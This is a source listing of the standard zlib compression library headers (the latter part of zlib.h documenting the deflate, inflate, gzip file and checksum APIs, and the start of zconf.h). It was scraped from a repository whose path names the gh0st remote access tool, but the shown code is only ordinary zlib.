On 16-bit systems, the functions zalloc and zfree must be able to allocate
exactly 65536 bytes, but will not be required to allocate more than this
if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,
pointers returned by zalloc for objects of exactly 65536 bytes *must*
have their offset normalized to zero. The default allocation function
provided by this library ensures this (see zutil.c). To reduce memory
requirements and avoid any allocation of 64K objects, at the expense of
compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).
The fields total_in and total_out can be used for statistics or
progress reports. After compression, total_in holds the total size of
the uncompressed data and may be saved for use in the decompressor
(particularly if the decompressor wants to decompress everything in
a single step).
*/
/* constants */
#define Z_NO_FLUSH 0
#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */
#define Z_SYNC_FLUSH 2
#define Z_FULL_FLUSH 3
#define Z_FINISH 4
/* Allowed flush values; see deflate() below for details */
#define Z_OK 0
#define Z_STREAM_END 1
#define Z_NEED_DICT 2
#define Z_ERRNO (-1)
#define Z_STREAM_ERROR (-2)
#define Z_DATA_ERROR (-3)
#define Z_MEM_ERROR (-4)
#define Z_BUF_ERROR (-5)
#define Z_VERSION_ERROR (-6)
/* Return codes for the compression/decompression functions. Negative
* values are errors, positive values are used for special but normal events.
*/
#define Z_NO_COMPRESSION 0
#define Z_BEST_SPEED 1
#define Z_BEST_COMPRESSION 9
#define Z_DEFAULT_COMPRESSION (-1)
/* compression levels */
#define Z_FILTERED 1
#define Z_HUFFMAN_ONLY 2
#define Z_DEFAULT_STRATEGY 0
/* compression strategy; see deflateInit2() below for details */
#define Z_BINARY 0
#define Z_ASCII 1
#define Z_UNKNOWN 2
/* Possible values of the data_type field */
#define Z_DEFLATED 8
/* The deflate compression method (the only one supported in this version) */
#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */
#define zlib_version zlibVersion()
/* for compatibility with versions < 1.0.2 */
/* basic functions */
ZEXTERN const char * ZEXPORT zlibVersion OF((void));
/* The application can compare zlibVersion and ZLIB_VERSION for consistency.
If the first character differs, the library code actually used is
not compatible with the zlib.h header file used by the application.
This check is automatically made by deflateInit and inflateInit.
*/
/*
ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level));
Initializes the internal stream state for compression. The fields
zalloc, zfree and opaque must be initialized before by the caller.
If zalloc and zfree are set to Z_NULL, deflateInit updates them to
use default allocation functions.
The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:
1 gives best speed, 9 gives best compression, 0 gives no compression at
all (the input data is simply copied a block at a time).
Z_DEFAULT_COMPRESSION requests a default compromise between speed and
compression (currently equivalent to level 6).
deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_STREAM_ERROR if level is not a valid compression level,
Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible
with the version assumed by the caller (ZLIB_VERSION).
msg is set to null if there is no error message. deflateInit does not
perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
/*
deflate compresses as much data as possible, and stops when the input
buffer becomes empty or the output buffer becomes full. It may introduce some
output latency (reading input without producing any output) except when
forced to flush.
The detailed semantics are as follows. deflate performs one or both of the
following actions:
- Compress more input starting at next_in and update next_in and avail_in
accordingly. If not all input can be processed (because there is not
enough room in the output buffer), next_in and avail_in are updated and
processing will resume at this point for the next call of deflate().
- Provide more output starting at next_out and update next_out and avail_out
accordingly. This action is forced if the parameter flush is non zero.
Forcing flush frequently degrades the compression ratio, so this parameter
should be set only when necessary (in interactive applications).
Some output may be provided even if flush is not set.
Before the call of deflate(), the application should ensure that at least
one of the actions is possible, by providing more input and/or consuming
more output, and updating avail_in or avail_out accordingly; avail_out
should never be zero before the call. The application can consume the
compressed output when it wants, for example when the output buffer is full
(avail_out == 0), or after each call of deflate(). If deflate returns Z_OK
and with zero avail_out, it must be called again after making room in the
output buffer because there might be more output pending.
If the parameter flush is set to Z_SYNC_FLUSH, all pending output is
flushed to the output buffer and the output is aligned on a byte boundary, so
that the decompressor can get all input data available so far. (In particular
avail_in is zero after the call if enough output space has been provided
before the call.) Flushing may degrade compression for some compression
algorithms and so it should be used only when necessary.
If flush is set to Z_FULL_FLUSH, all output is flushed as with
Z_SYNC_FLUSH, and the compression state is reset so that decompression can
restart from this point if previous compressed data has been damaged or if
random access is desired. Using Z_FULL_FLUSH too often can seriously degrade
the compression.
If deflate returns with avail_out == 0, this function must be called again
with the same value of the flush parameter and more output space (updated
avail_out), until the flush is complete (deflate returns with non-zero
avail_out).
If the parameter flush is set to Z_FINISH, pending input is processed,
pending output is flushed and deflate returns with Z_STREAM_END if there
was enough output space; if deflate returns with Z_OK, this function must be
called again with Z_FINISH and more output space (updated avail_out) but no
more input data, until it returns with Z_STREAM_END or an error. After
deflate has returned Z_STREAM_END, the only possible operations on the
stream are deflateReset or deflateEnd.
Z_FINISH can be used immediately after deflateInit if all the compression
is to be done in a single step. In this case, avail_out must be at least
0.1% larger than avail_in plus 12 bytes. If deflate does not return
Z_STREAM_END, then it must be called again as described above.
deflate() sets strm->adler to the adler32 checksum of all input read
so far (that is, total_in bytes).
deflate() may update data_type if it can make a good guess about
the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered
binary. This field is only for information purposes and does not affect
the compression algorithm in any manner.
deflate() returns Z_OK if some progress has been made (more input
processed or more output produced), Z_STREAM_END if all input has been
consumed and all output has been produced (only when flush is set to
Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible
(for example avail_in or avail_out was zero).
*/
ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm));
/*
All dynamically allocated data structures for this stream are freed.
This function discards any unprocessed input and does not flush any
pending output.
deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the
stream state was inconsistent, Z_DATA_ERROR if the stream was freed
prematurely (some input or output was discarded). In the error case,
msg may be set but then points to a static string (which must not be
deallocated).
*/
/*
ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));
Initializes the internal stream state for decompression. The fields
next_in, avail_in, zalloc, zfree and opaque must be initialized before by
the caller. If next_in is not Z_NULL and avail_in is large enough (the exact
value depends on the compression method), inflateInit determines the
compression method from the zlib header and allocates all data structures
accordingly; otherwise the allocation will be deferred to the first call of
inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to
use default allocation functions.
inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
version assumed by the caller. msg is set to null if there is no error
message. inflateInit does not perform any decompression apart from reading
the zlib header if present: this will be done by inflate(). (So next_in and
avail_in may be modified, but next_out and avail_out are unchanged.)
*/
ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
/*
inflate decompresses as much data as possible, and stops when the input
buffer becomes empty or the output buffer becomes full. It may some
introduce some output latency (reading input without producing any output)
except when forced to flush.
The detailed semantics are as follows. inflate performs one or both of the
following actions:
- Decompress more input starting at next_in and update next_in and avail_in
accordingly. If not all input can be processed (because there is not
enough room in the output buffer), next_in is updated and processing
will resume at this point for the next call of inflate().
- Provide more output starting at next_out and update next_out and avail_out
accordingly. inflate() provides as much output as possible, until there
is no more input data or no more space in the output buffer (see below
about the flush parameter).
Before the call of inflate(), the application should ensure that at least
one of the actions is possible, by providing more input and/or consuming
more output, and updating the next_* and avail_* values accordingly.
The application can consume the uncompressed output when it wants, for
example when the output buffer is full (avail_out == 0), or after each
call of inflate(). If inflate returns Z_OK and with zero avail_out, it
must be called again after making room in the output buffer because there
might be more output pending.
If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much
output as possible to the output buffer. The flushing behavior of inflate is
not specified for values of the flush parameter other than Z_SYNC_FLUSH
and Z_FINISH, but the current implementation actually flushes as much output
as possible anyway.
inflate() should normally be called until it returns Z_STREAM_END or an
error. However if all decompression is to be performed in a single step
(a single call of inflate), the parameter flush should be set to
Z_FINISH. In this case all pending input is processed and all pending
output is flushed; avail_out must be large enough to hold all the
uncompressed data. (The size of the uncompressed data may have been saved
by the compressor for this purpose.) The next operation on this stream must
be inflateEnd to deallocate the decompression state. The use of Z_FINISH
is never required, but can be used to inform inflate that a faster routine
may be used for the single inflate() call.
If a preset dictionary is needed at this point (see inflateSetDictionary
below), inflate sets strm-adler to the adler32 checksum of the
dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise
it sets strm->adler to the adler32 checksum of all output produced
so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or
an error code as described below. At the end of the stream, inflate()
checks that its computed adler32 checksum is equal to that saved by the
compressor and returns Z_STREAM_END only if the checksum is correct.
inflate() returns Z_OK if some progress has been made (more input processed
or more output produced), Z_STREAM_END if the end of the compressed data has
been reached and all uncompressed output has been produced, Z_NEED_DICT if a
preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
corrupted (input stream not conforming to the zlib format or incorrect
adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent
(for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if no progress is possible or if there was not
enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR
case, the application may then call inflateSync to look for a good
compression block.
*/
ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));
/*
All dynamically allocated data structures for this stream are freed.
This function discards any unprocessed input and does not flush any
pending output.
inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
was inconsistent. In the error case, msg may be set but then points to a
static string (which must not be deallocated).
*/
/* Advanced functions */
/*
The following functions are needed only in some special applications.
*/
/*
ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,
int level,
int method,
int windowBits,
int memLevel,
int strategy));
This is another version of deflateInit with more compression options. The
fields next_in, zalloc, zfree and opaque must be initialized before by
the caller.
The method parameter is the compression method. It must be Z_DEFLATED in
this version of the library.
The windowBits parameter is the base two logarithm of the window size
(the size of the history buffer). It should be in the range 8..15 for this
version of the library. Larger values of this parameter result in better
compression at the expense of memory usage. The default value is 15 if
deflateInit is used instead.
The memLevel parameter specifies how much memory should be allocated
for the internal compression state. memLevel=1 uses minimum memory but
is slow and reduces compression ratio; memLevel=9 uses maximum memory
for optimal speed. The default value is 8. See zconf.h for total memory
usage as a function of windowBits and memLevel.
The strategy parameter is used to tune the compression algorithm. Use the
value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a
filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no
string match). Filtered data consists mostly of small values with a
somewhat random distribution. In this case, the compression algorithm is
tuned to compress them better. The effect of Z_FILTERED is to force more
Huffman coding and less string matching; it is somewhat intermediate
between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects
the compression ratio but not the correctness of the compressed output even
if it is not set appropriately.
deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid
method). msg is set to null if there is no error message. deflateInit2 does
not perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
const Bytef *dictionary,
uInt dictLength));
/*
Initializes the compression dictionary from the given byte sequence
without producing any compressed output. This function must be called
immediately after deflateInit, deflateInit2 or deflateReset, before any
call of deflate. The compressor and decompressor must use exactly the same
dictionary (see inflateSetDictionary).
The dictionary should consist of strings (byte sequences) that are likely
to be encountered later in the data to be compressed, with the most commonly
used strings preferably put towards the end of the dictionary. Using a
dictionary is most useful when the data to be compressed is short and can be
predicted with good accuracy; the data can then be compressed better than
with the default empty dictionary.
Depending on the size of the compression data structures selected by
deflateInit or deflateInit2, a part of the dictionary may in effect be
discarded, for example if the dictionary is larger than the window size in
deflate or deflate2. Thus the strings most likely to be useful should be
put at the end of the dictionary, not at the front.
Upon return of this function, strm->adler is set to the Adler32 value
of the dictionary; the decompressor may later use this value to determine
which dictionary has been used by the compressor. (The Adler32 value
applies to the whole dictionary even if only a subset of the dictionary is
actually used by the compressor.)
deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
parameter is invalid (such as NULL dictionary) or the stream state is
inconsistent (for example if deflate has already been called for this stream
or if the compression method is bsort). deflateSetDictionary does not
perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
z_streamp source));
/*
Sets the destination stream as a complete copy of the source stream.
This function can be useful when several compression strategies will be
tried, for example when there are several ways of pre-processing the input
data with a filter. The streams that will be discarded should then be freed
by calling deflateEnd. Note that deflateCopy duplicates the internal
compression state which can be quite large, so this strategy is slow and
can consume lots of memory.
deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
(such as zalloc being NULL). msg is left unchanged in both source and
destination.
*/
ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
/*
This function is equivalent to deflateEnd followed by deflateInit,
but does not free and reallocate all the internal compression state.
The stream will keep the same compression level and any other attributes
that may have been set by deflateInit2.
deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
stream state was inconsistent (such as zalloc or state being NULL).
*/
ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,
int level,
int strategy));
/*
Dynamically update the compression level and compression strategy. The
interpretation of level and strategy is as in deflateInit2. This can be
used to switch between compression and straight copy of the input data, or
to switch to a different kind of input data requiring a different
strategy. If the compression level is changed, the input available so far
is compressed with the old level (and may be flushed); the new level will
take effect only at the next call of deflate().
Before the call of deflateParams, the stream state must be set as for
a call of deflate(), since the currently available input may have to
be compressed and flushed. In particular, strm->avail_out must be non-zero.
deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR
if strm->avail_out was zero.
*/
/*
ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
int windowBits));
This is another version of inflateInit with an extra parameter. The
fields next_in, avail_in, zalloc, zfree and opaque must be initialized
before by the caller.
The windowBits parameter is the base two logarithm of the maximum window
size (the size of the history buffer). It should be in the range 8..15 for
this version of the library. The default value is 15 if inflateInit is used
instead. If a compressed stream with a larger window size is given as
input, inflate() will return with the error code Z_DATA_ERROR instead of
trying to allocate a larger window.
inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative
memLevel). msg is set to null if there is no error message. inflateInit2
does not perform any decompression apart from reading the zlib header if
present: this will be done by inflate(). (So next_in and avail_in may be
modified, but next_out and avail_out are unchanged.)
*/
ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
const Bytef *dictionary,
uInt dictLength));
/*
Initializes the decompression dictionary from the given uncompressed byte
sequence. This function must be called immediately after a call of inflate
if this call returned Z_NEED_DICT. The dictionary chosen by the compressor
can be determined from the Adler32 value returned by this call of
inflate. The compressor and decompressor must use exactly the same
dictionary (see deflateSetDictionary).
inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
parameter is invalid (such as NULL dictionary) or the stream state is
inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
expected one (incorrect Adler32 value). inflateSetDictionary does not
perform any decompression: this will be done by subsequent calls of
inflate().
*/
ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm));
/*
Skips invalid compressed data until a full flush point (see above the
description of deflate with Z_FULL_FLUSH) can be found, or until all
available input is skipped. No output is provided.
inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR
if no more input was provided, Z_DATA_ERROR if no flush point has been found,
or Z_STREAM_ERROR if the stream structure was inconsistent. In the success
case, the application may save the current current value of total_in which
indicates where valid compressed data was found. In the error case, the
application may repeatedly call inflateSync, providing more input each time,
until success or end of the input data.
*/
ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
/*
This function is equivalent to inflateEnd followed by inflateInit,
but does not free and reallocate all the internal decompression state.
The stream will keep attributes that may have been set by inflateInit2.
inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
stream state was inconsistent (such as zalloc or state being NULL).
*/
/* utility functions */
/*
The following utility functions are implemented on top of the
basic stream-oriented functions. To simplify the interface, some
default options are assumed (compression level and memory usage,
standard memory allocation functions). The source code of these
utility functions can easily be modified if you need special options.
*/
ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen));
/*
Compresses the source buffer into the destination buffer. sourceLen is
the byte length of the source buffer. Upon entry, destLen is the total
size of the destination buffer, which must be at least 0.1% larger than
sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the
compressed buffer.
This function can be used to compress a whole file at once if the
input file is mmap'ed.
compress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
buffer.
*/
ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen,
int level));
/*
Compresses the source buffer into the destination buffer. The level
parameter has the same meaning as in deflateInit. sourceLen is the byte
length of the source buffer. Upon entry, destLen is the total size of the
destination buffer, which must be at least 0.1% larger than sourceLen plus
12 bytes. Upon exit, destLen is the actual size of the compressed buffer.
compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_BUF_ERROR if there was not enough room in the output buffer,
Z_STREAM_ERROR if the level parameter is invalid.
*/
ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen));
/*
Decompresses the source buffer into the destination buffer. sourceLen is
the byte length of the source buffer. Upon entry, destLen is the total
size of the destination buffer, which must be large enough to hold the
entire uncompressed data. (The size of the uncompressed data must have
been saved previously by the compressor and transmitted to the decompressor
by some mechanism outside the scope of this compression library.)
Upon exit, destLen is the actual size of the compressed buffer.
This function can be used to decompress a whole file at once if the
input file is mmap'ed.
uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
buffer, or Z_DATA_ERROR if the input data was corrupted.
*/
typedef voidp gzFile;
ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode));
/*
Opens a gzip (.gz) file for reading or writing. The mode parameter
is as in fopen ("rb" or "wb") but can also include a compression level
("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for
Huffman only compression as in "wb1h". (See the description
of deflateInit2 for more information about the strategy parameter.)
gzopen can be used to read a file which is not in gzip format; in this
case gzread will directly read from the file without decompression.
gzopen returns NULL if the file could not be opened or if there was
insufficient memory to allocate the (de)compression state; errno
can be checked to distinguish the two cases (if errno is zero, the
zlib error is Z_MEM_ERROR). */
ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode));
/*
gzdopen() associates a gzFile with the file descriptor fd. File
descriptors are obtained from calls like open, dup, creat, pipe or
fileno (in the file has been previously opened with fopen).
The mode parameter is as in gzopen.
The next call of gzclose on the returned gzFile will also close the
file descriptor fd, just like fclose(fdopen(fd), mode) closes the file
descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).
gzdopen returns NULL if there was insufficient memory to allocate
the (de)compression state.
*/
ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
/*
Dynamically update the compression level or strategy. See the description
of deflateInit2 for the meaning of these parameters.
gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
opened for writing.
*/
ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len));
/*
Reads the given number of uncompressed bytes from the compressed file.
If the input file was not in gzip format, gzread copies the given number
of bytes into the buffer.
gzread returns the number of uncompressed bytes actually read (0 for
end of file, -1 for error). */
ZEXTERN int ZEXPORT gzwrite OF((gzFile file,
const voidp buf, unsigned len));
/*
Writes the given number of uncompressed bytes into the compressed file.
gzwrite returns the number of uncompressed bytes actually written
(0 in case of error).
*/
ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...));
/*
Converts, formats, and writes the args to the compressed file under
control of the format string, as in fprintf. gzprintf returns the number of
uncompressed bytes actually written (0 in case of error).
*/
ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
/*
Writes the given null-terminated string to the compressed file, excluding
the terminating null character.
gzputs returns the number of characters written, or -1 in case of error.
*/
ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len));
/*
Reads bytes from the compressed file until len-1 characters are read, or
a newline character is read and transferred to buf, or an end-of-file
condition is encountered. The string is then terminated with a null
character.
gzgets returns buf, or Z_NULL in case of error.
*/
ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c));
/*
Writes c, converted to an unsigned char, into the compressed file.
gzputc returns the value that was written, or -1 in case of error.
*/
ZEXTERN int ZEXPORT gzgetc OF((gzFile file));
/*
Reads one byte from the compressed file. gzgetc returns this byte
or -1 in case of end of file or error.
*/
ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush));
/*
Flushes all pending output into the compressed file. The parameter
flush is as in the deflate() function. The return value is the zlib
error number (see function gzerror below). gzflush returns Z_OK if
the flush parameter is Z_FINISH and all output could be flushed.
gzflush should be called only when strictly necessary because it can
degrade compression.
*/
ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file,
z_off_t offset, int whence));
/*
Sets the starting position for the next gzread or gzwrite on the
given compressed file. The offset represents a number of bytes in the
uncompressed data stream. The whence parameter is defined as in lseek(2);
the value SEEK_END is not supported.
If the file is opened for reading, this function is emulated but can be
extremely slow. If the file is opened for writing, only forward seeks are
supported; gzseek then compresses a sequence of zeroes up to the new
starting position.
gzseek returns the resulting offset location as measured in bytes from
the beginning of the uncompressed stream, or -1 in case of error, in
particular if the file is opened for writing and the new starting position
would be before the current position.
*/
ZEXTERN int ZEXPORT gzrewind OF((gzFile file));
/*
Rewinds the given file. This function is supported only for reading.
gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET)
*/
ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file));
/*
Returns the starting position for the next gzread or gzwrite on the
given compressed file. This position represents a number of bytes in the
uncompressed data stream.
gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR)
*/
ZEXTERN int ZEXPORT gzeof OF((gzFile file));
/*
Returns 1 when EOF has previously been detected reading the given
input stream, otherwise zero.
*/
ZEXTERN int ZEXPORT gzclose OF((gzFile file));
/*
Flushes all pending output if necessary, closes the compressed file
and deallocates all the (de)compression state. The return value is the zlib
error number (see function gzerror below).
*/
ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum));
/*
Returns the error message for the last error which occurred on the
given compressed file. errnum is set to zlib error number. If an
error occurred in the file system and not in the compression library,
errnum is set to Z_ERRNO and the application may consult errno
to get the exact error code.
*/
/* checksum functions */
/*
These functions are not related to compression but are exported
anyway because they might be useful in applications using the
compression library.
*/
ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
/*
Update a running Adler-32 checksum with the bytes buf[0..len-1] and
return the updated checksum. If buf is NULL, this function returns
the required initial value for the checksum.
An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
much faster. Usage example:
uLong adler = adler32(0L, Z_NULL, 0);
while (read_buffer(buffer, length) != EOF) {
adler = adler32(adler, buffer, length);
}
if (adler != original_adler) error();
*/
ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len));
/*
Update a running crc with the bytes buf[0..len-1] and return the updated
crc. If buf is NULL, this function returns the required initial value
for the crc. Pre- and post-conditioning (one's complement) is performed
within this function so it shouldn't be done by the application.
Usage example:
uLong crc = crc32(0L, Z_NULL, 0);
while (read_buffer(buffer, length) != EOF) {
crc = crc32(crc, buffer, length);
}
if (crc != original_crc) error();
*/
/* various hacks, don't look :) */
/* deflateInit and inflateInit are macros to allow checking the zlib version
* and the compiler's view of z_stream:
*/
ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level,
const char *version, int stream_size));
ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm,
const char *version, int stream_size));
ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method,
int windowBits, int memLevel,
int strategy, const char *version,
int stream_size));
ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits,
const char *version, int stream_size));
#define deflateInit(strm, level) \
deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream))
#define inflateInit(strm) \
inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream))
#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
(strategy), ZLIB_VERSION, sizeof(z_stream))
#define inflateInit2(strm, windowBits) \
inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))
#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)
struct internal_state {int dummy;}; /* hack for buggy compilers */
#endif
ZEXTERN const char * ZEXPORT zError OF((int err));
ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z));
ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void));
#ifdef __cplusplus
}
#endif
#endif /* _ZLIB_H */
| 07321-rat | trunk/gh0st/include/zlib/zlib.h | C++ | asf20 | 40,900 |
/* zconf.h -- configuration of the zlib compression library
* Copyright (C) 1995-2002 Jean-loup Gailly.
* For conditions of distribution and use, see copyright notice in zlib.h
*/
/* @(#) $Id$ */
#ifndef _ZCONF_H
#define _ZCONF_H
/*
* If you *really* need a unique prefix for all types and library functions,
* compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
*/
#ifdef Z_PREFIX
# define deflateInit_ z_deflateInit_
# define deflate z_deflate
# define deflateEnd z_deflateEnd
# define inflateInit_ z_inflateInit_
# define inflate z_inflate
# define inflateEnd z_inflateEnd
# define deflateInit2_ z_deflateInit2_
# define deflateSetDictionary z_deflateSetDictionary
# define deflateCopy z_deflateCopy
# define deflateReset z_deflateReset
# define deflateParams z_deflateParams
# define inflateInit2_ z_inflateInit2_
# define inflateSetDictionary z_inflateSetDictionary
# define inflateSync z_inflateSync
# define inflateSyncPoint z_inflateSyncPoint
# define inflateReset z_inflateReset
# define compress z_compress
# define compress2 z_compress2
# define uncompress z_uncompress
# define adler32 z_adler32
# define crc32 z_crc32
# define get_crc_table z_get_crc_table
# define Byte z_Byte
# define uInt z_uInt
# define uLong z_uLong
# define Bytef z_Bytef
# define charf z_charf
# define intf z_intf
# define uIntf z_uIntf
# define uLongf z_uLongf
# define voidpf z_voidpf
# define voidp z_voidp
#endif
#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
# define WIN32
#endif
#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
# ifndef __32BIT__
# define __32BIT__
# endif
#endif
#if defined(__MSDOS__) && !defined(MSDOS)
# define MSDOS
#endif
/*
* Compile with -DMAXSEG_64K if the alloc function cannot allocate more
* than 64k bytes at a time (needed on systems with 16-bit int).
*/
#if defined(MSDOS) && !defined(__32BIT__)
# define MAXSEG_64K
#endif
#ifdef MSDOS
# define UNALIGNED_OK
#endif
#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC)
# define STDC
#endif
#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
# ifndef STDC
# define STDC
# endif
#endif
#ifndef STDC
# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
# define const
# endif
#endif
/* Some Mac compilers merge all .h files incorrectly: */
#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
# define NO_DUMMY_DECL
#endif
/* Old Borland C incorrectly complains about missing returns: */
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
# define NEED_DUMMY_RETURN
#endif
/* Maximum value for memLevel in deflateInit2 */
#ifndef MAX_MEM_LEVEL
# ifdef MAXSEG_64K
# define MAX_MEM_LEVEL 8
# else
# define MAX_MEM_LEVEL 9
# endif
#endif
/* Maximum value for windowBits in deflateInit2 and inflateInit2.
* WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files
* created by gzip. (Files created by minigzip can still be extracted by
* gzip.)
*/
#ifndef MAX_WBITS
# define MAX_WBITS 15 /* 32K LZ77 window */
#endif
/* The memory requirements for deflate are (in bytes):
(1 << (windowBits+2)) + (1 << (memLevel+9))
that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values)
plus a few kilobytes for small objects. For example, if you want to reduce
the default memory requirements from 256K to 128K, compile with
make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
Of course this will generally degrade compression (there's no free lunch).
The memory requirements for inflate are (in bytes) 1 << windowBits
that is, 32K for windowBits=15 (default value) plus a few kilobytes
for small objects.
*/
/* Type declarations */
#ifndef OF /* function prototypes */
# ifdef STDC
# define OF(args) args
# else
# define OF(args) ()
# endif
#endif
/* The following definitions for FAR are needed only for MSDOS mixed
* model programming (small or medium model with some far allocations).
* This was tested only with MSC; for other MSDOS compilers you may have
* to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
* just define FAR to be empty.
*/
#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
/* MSC small or medium model */
# define SMALL_MEDIUM
# ifdef _MSC_VER
# define FAR _far
# else
# define FAR far
# endif
#endif
#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
# ifndef __32BIT__
# define SMALL_MEDIUM
# define FAR _far
# endif
#endif
/* Compile with -DZLIB_DLL for Windows DLL support */
#if defined(ZLIB_DLL)
# if defined(_WINDOWS) || defined(WINDOWS)
# ifdef FAR
# undef FAR
# endif
# include <windows.h>
# define ZEXPORT WINAPI
# ifdef WIN32
# define ZEXPORTVA WINAPIV
# else
# define ZEXPORTVA FAR _cdecl _export
# endif
# endif
# if defined (__BORLANDC__)
# if (__BORLANDC__ >= 0x0500) && defined (WIN32)
# include <windows.h>
